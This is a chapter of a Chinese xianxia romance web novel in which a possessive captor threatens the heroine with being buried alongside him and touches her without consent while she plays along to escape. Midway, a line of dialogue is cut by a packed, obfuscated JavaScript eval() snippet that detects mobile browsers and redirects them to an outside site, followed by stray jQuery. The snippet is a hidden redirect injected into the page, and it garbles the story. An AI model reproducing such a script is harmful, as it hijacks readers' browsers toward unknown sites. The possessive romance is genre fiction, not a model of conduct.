肆意手在斐竹后颈要害处摩挲:“我本以为再见不到娘子,都做好了让娘子陪葬的准备,若是我死了,娘子也不能独活。”
斐竹身体因为危险不由自主地打了个寒颤,她压制住身体的本能反应,装作没注意肆意手的位置,天真道:“咦?夫君不是说让我改嫁吗?”
肆意轻嗅着斐竹的秀发,动作温柔地梳理着斐竹散落的碎发:“娘子,你一点都不担心为夫,只想着改嫁?”.
“此话乃夫君所言,我并无此意,况且夫君不是安全脱身了吗?我又怎会想改嫁。”斐竹不动声色地从肆意怀中起来,低头想看下自己的衣裳有没有蹭到血迹,就被肆意抬起了下巴,与他对视。
“所以如果为夫真死了,你就要改嫁?娘子这么迫切地要离开我的身边?”
不是说让她陪葬的事吗?是怎么绕到她的错的?哦,是她自己开的头。斐竹想打自己嘴巴子,明明有理的都被自己说没理了。
“哪能啊,夫君对我这么好,我怎能辜负?只是陪葬是不是太过了,大好年华,夫君舍得让我英年早逝吗?”
“可是娘子如此美好,若是到了别人怀中,为夫会嫉妒得发狂的,与其如此,不如和为夫一起做对鬼鸳鸯岂不妙哉?”
斐竹仿佛是不小心按了下肆意的伤口,看着手上的鲜血惊呼:“夫君,你的伤口在流血,还是先处理你的伤口要紧。”
肆意牵起斐竹一只手置于胸前:“娘子之前不是想摸吗?何不现在趁机摸个够?”
肆意是真疯了,血都流了一地,还不处理伤口,这是真想死在这里?她可不想陪葬。
“夫君,你流了这么多血,我心疼都来不及,怎还有心情吃豆腐?不若先处理了伤口再谈其他?”斐竹面带忧色,眉间笼烟轻蹙。
“娘子感受到了为夫的心跳吗?这是为娘子跳动的,如果那一天它不跳了,那意味着娘子也没有存在的意义了,婚礼上所说的生同衾,死同穴并不是妄言,娘子还是记在心上为好。”
这是赤裸裸的威胁,斐竹却低头浅笑,手指轻点肆意胸口,动作轻柔得像羽毛让肆意心口骚动。
“夫君说笑了,既然是誓言,那怎可违背。”只可惜他们并未拜过堂,他们间根本不存在誓言。“好了,夫君你的脸色都变得如此苍白,伤口再不处理恐怕夫君会晕过去了。”
“也罢,娘子既然关心为夫,那就顺手帮为夫上个药吧。”
“可是妾身对药理实在是所知甚少,不知要用哪些?”
“药已经配好了,就在案桌上,娘子只要撒上即可,无需多想。”肆意指着桌上一盒药粉道。
肆意既已如此说了,斐竹拿起药盒,在肆意伤口处轻轻抖动,撒上药粉。药粉撒上的瞬间,肆意的肌肉绷紧,嗤,斐竹还以为肆意没有感觉呢,原来还是会痛的啊。
撒过药粉,血也慢慢地止住了,斐竹取过纱布,帮肆意绑上,只是斐竹手不够长,无法够到后面,便贴近了肆意,看起来就像是投怀送抱般。
肆意在斐竹颈侧吹气,引得斐竹身子轻颤。
肆意暗想,斐儿也太敏感了,被他吹过的地方都泛红了,看着原本雪白的肌肤自己染上红梅,肆意控制不住吻了上去,给它增添几份艳色。
斐竹边帮肆意包扎伤口,边要忍受肆意的骚扰,也是挺难熬的,而且肆意越来越过分,还动起口来。斐竹咬牙,色胚,早知道就不帮他了,就让他流血流到死。
好不容易才包扎好,斐竹立即退后,离开了肆意身旁,用手摩擦肆意吻过的地方,有些嫌弃地想要用水洗一下,可惜她的动作不能太过了,惹得肆意起疑就不好了。
“夫君真坏,怎么可以偷偷亲我。”
“没有偷偷,为夫是明目张胆的亲。若是娘子觉得吃亏了,可以亲回来。”
斐竹腹诽:亲回去就不吃亏了吗?真是够了,把她当小孩子哄呢。不过肆意受伤倒是让斐竹免了为今晚的床事要如何避免而犯愁。
“好了,夫君如何没有其他事的话,我就去用午膳了,走了那么久,早就饿了。”
“饭菜已经让人在外间备好了,我们一起过去吧。”
肆意向斐竹伸出手,然而斐竹根本没有看到,早就转身出了门。
“没良心的小东西,”肆意摇摇头,自己起身,伤口又被牵扯到,白色的绷带晕出了血色。
因为肆意受了伤,下午的安排也被取消了,斐竹闲来无事去书阁转转。
书阁有三层,其中的书种类繁多,很多是斐竹没见过的,有各处的风土人情,天材地宝,道义简析,道派分布……
这么多书,斐竹还是在攻略书妄的时候见到过,可惜最后都被他一把火烧了。
书籍太多,看得斐竹眼花缭乱,可惜没有玉简,能直接导入脑海中,要自己一本本翻阅,不过这个世界的人就喜欢这样慢慢的品阅世间万物,来修心悟道,也是两个世界的不同吧。
这个世界仙凡的距离很近,很多大佬都会入世,修士和凡人混居,修士对凡人的直接影响不如她那个世界那么大,但对社会思潮、文化发展有着深远的影响。高阶修士更像是行走的“真理化身”。
而斐竹原本的世界大家匆匆忙碌,磕丹药夺宝物,杀心太重了,一生都在为修行拼命,修行一途填满了失败者的尸骸。修行者对凡人的态度也很轻慢,视凡人为草芥,相反的凡人对修士却是极致追捧,为求仙问道散尽家财,家破人亡的不在少数。
当然并不是说这个世界就平和了,斐竹偷偷看了肆意一眼,该有的反派角色也少不了,只是斐竹见识的少,并没怎么听说过哪哪的人被魔修炼化成傀儡,或是屠城灭国的事。
反派人物还是挺低调的,不会像她那个世界魔修泛滥到还要正派人士专门派人去除魔。
斐竹翻开一本解释道派的书籍,她对这个世界了解的还是太少了,十几年间都是围着那三人转,趁着这个时候多了解一番也是好的,就是不知道这里的书籍有没有掺假,只能自己用心辨认了。
书上描述现在世间主要有六大派系:天衍派、自然派、众生派、匠心派、守律派、除此外还有其他的小流派,至于邪门歪道则统称为邪道。
天衍派推演天机,追求“算尽天机”,视道为可解析的“天道程序”,掌握规律可预知、筹算、布局。代表道法有:因果命理道、星辰运转道、阵法周天道、数术道等。
自然派认为道法自然。万物一体,顺天应时,无为而无不为。追求与天地万物和谐共生,融入大化。代表道法:万物生灭道、天人合一境、无为清净道、四季轮回法等。
众生派觉得道在人间,故而深入红尘,入世为官、行医、传道、经商……体会众生百态,为济世度人修道。代表道法:教化道、儒道、官道、商道、医道、红尘道等。
匠心派认为道在器中,理在技中,将某一技艺练至极致,便可窥见其背后的至理道法。代表道法:剑道、丹道、书道、画道、琴道、农道等。
守律派又名苦修派,觉得道即戒律,心需持守,严格的戒律、苦修、克制欲望,方能澄净心灵,接近大道。代表道法:绝情道、炼体道、无尘道、戒律道、禅道、苦修道等。
邪道则是领悟的违背正道人士认同的道法,与天地作对,逆反常伦的道法,还有些则是窃取道果,没有真正领悟,仅是剥夺或是伪造他人道法,试图欺骗天道。
斐竹感觉诸葛恣的道偏向于天衍派,但是天衍派的人对天道是敬畏的态度,但是诸葛恣对天道充满敌意,可能与他的命格、经历有关系。
书妄的道偏向众生派的红尘道,只是过于极端。肆意和自己的道在这些道法中找不到归属,所以应该只算是小流派,难怪系统说她的道很罕见。
不知道他们四人又是因为什么原因成了师门,一般来说同一个师门的道法必然有联系,但是斐竹除了天煞孤星的命格没有看出他们的相同之处。
对了,洛为既然拜入了这个门派,那说明她离开后洛为也悟得了自己的道,就是不知道是什么道。
担心这里的书被肆意做了手脚,斐竹并未多看,随便取了一些打发时间的书,往中间的读书区域走去,就看到已经坐在那里看书的书妄。
幻境中的书妄应该是被肆意改动过,习性与真的有些出入。
斐竹对书妄行了个礼道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047401|179010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没想到在这儿遇见了大哥,上午的事没惊扰到大哥吧?”
书妄对斐竹点了个头,继续看手中的书,没表现出与斐竹交谈的欲望。
肆意不知从哪里冒了出来,坐在轮椅上被人推了出来,“你们在说什么?说与我听听。”
斐竹将书放在桌面:“我也才刚到,并未聊什么,夫君怎么过来了?”
“怎么,不想为夫过来?打扰你们的雅兴”
“并没有,只是夫君不是应该静养吗?”
肆意被推倒斐竹身边,牵起斐竹的手情意绵绵地说道:“看看书也伤不了神,再说我还要陪伴娘子呢,娘子一个人我不放心,如果出了什么事我都不知道,若是来不及保护娘子我会愧疚不已的。”
书妄一拍桌子怒喝道:“够了,你们安静些,这里是看书的地方,你们要闲聊的话就给我滚出去。”
肆意做了个鞠道:“打扰到兄长是我们夫妻的过错,只是新婚燕尔,希望兄长多体贴下,若是兄长羡慕,也可再娶一妻。”
斐竹拉拉肆意的袖口让他住嘴,书妄明明没有那个意思,他们在这儿说话本就不对。
肆意翻了翻斐竹取的书,都是一些虐恋情深的爱情故事,诧异道:“没想到娘子喜欢这种,看来我给娘子的感觉还是太平淡了,才让娘子想从书中找刺激。”
斐竹将书夺过去,慌忙小声解释道:“不!我不喜欢刺激,只是打发时间随手取的书籍,我还是喜欢平淡的生活。”
求别搞事,外面被囚禁已经够刺激了,她不想肆意再整出其他更变态的事来。唉,她怎么就拿到这些书呢?
只见那些书封面上分别写着:《七嫁六离我的夫君还是你》,《追妻火葬场之挫骨扬灰》,《天道也无法阻止我爱你》,《堕胎六次师尊终于后悔了》。
*********
“你师弟呢?”诸葛恣衣袖拂过,将此地所有与斐竹有关的因果剥离揉成团收起。
书妄:“他说有事回去了。”
“什么事比找他师娘更重要?”
“师尊慎言,是不是师娘还有待商榷,不若找到小竹后询问她的想法再说。”
“昨晚她同意了我的求婚。”
“过了一晚,一切都有可能发生,说不定她已经改变了想法呢,师尊你说是吗?”
“斐姑娘不是多变之人。”
“那是小竹未见到我,见到我后小竹想起往昔与我的情意,还能不变卦吗?”
师徒两人目光在空中交错,最终没有人动手。
两人口头上打机锋根本没有影响到洛为,他放出的“菟丝子”从地面散开,一路上被缠住的植物都被吸了生机而枯萎,“菟丝子”逐渐壮大,蔓延的速度越发快。
书妄瞄了眼那些枯萎的植物道:“这是在宗门内,洛师侄你悠着点儿。”
洛为腼腆一笑:“它们饿了,吃饱后我会让它们回来。”
诸葛恣睨了洛为一眼,手指微动,在洛为的“菟丝子”上缠了根因果线。“你们再去其他地方看看,我回大殿推演天机。”
“师祖慢走。”洛为恭送诸葛恣离开。
“师侄啊,宗门里就你最守礼了,可是你别忘了我们宗门的宗训。”书妄拍了拍洛为的肩膀,手指离去却留下了一缕羁绊监控着洛为。
可怜的洛为自以为瞒过了他人,却不知道他的小心思已经被人看破。
“宗训?我们宗门还有宗训?为何师傅没有跟我说过?”洛为好奇询问道。
“还记得我们门派叫什么名字吗?”
“逆天宗。”
“对啊,连天都逆了,那凡俗的礼仪还有守的必要吗?所以洛师侄你想干嘛干嘛,兴致来了,让你师傅给你端洗脚水都可以。”
“这,不太好吧?”
“呵,你师傅最喜欢伺候人了,想当初我在宗门的时候,他跟个老妈子一样给我端茶倒水,忙前忙后的,你让他干杂事他高兴还来不及呢,不信你下次试试,就会知道我所言非虚了。”
书妄一幅煞有其事的样子还是挺唬人的,让洛为半信半疑。于是之后他就做了一件蠢事,差点被肆意砍死。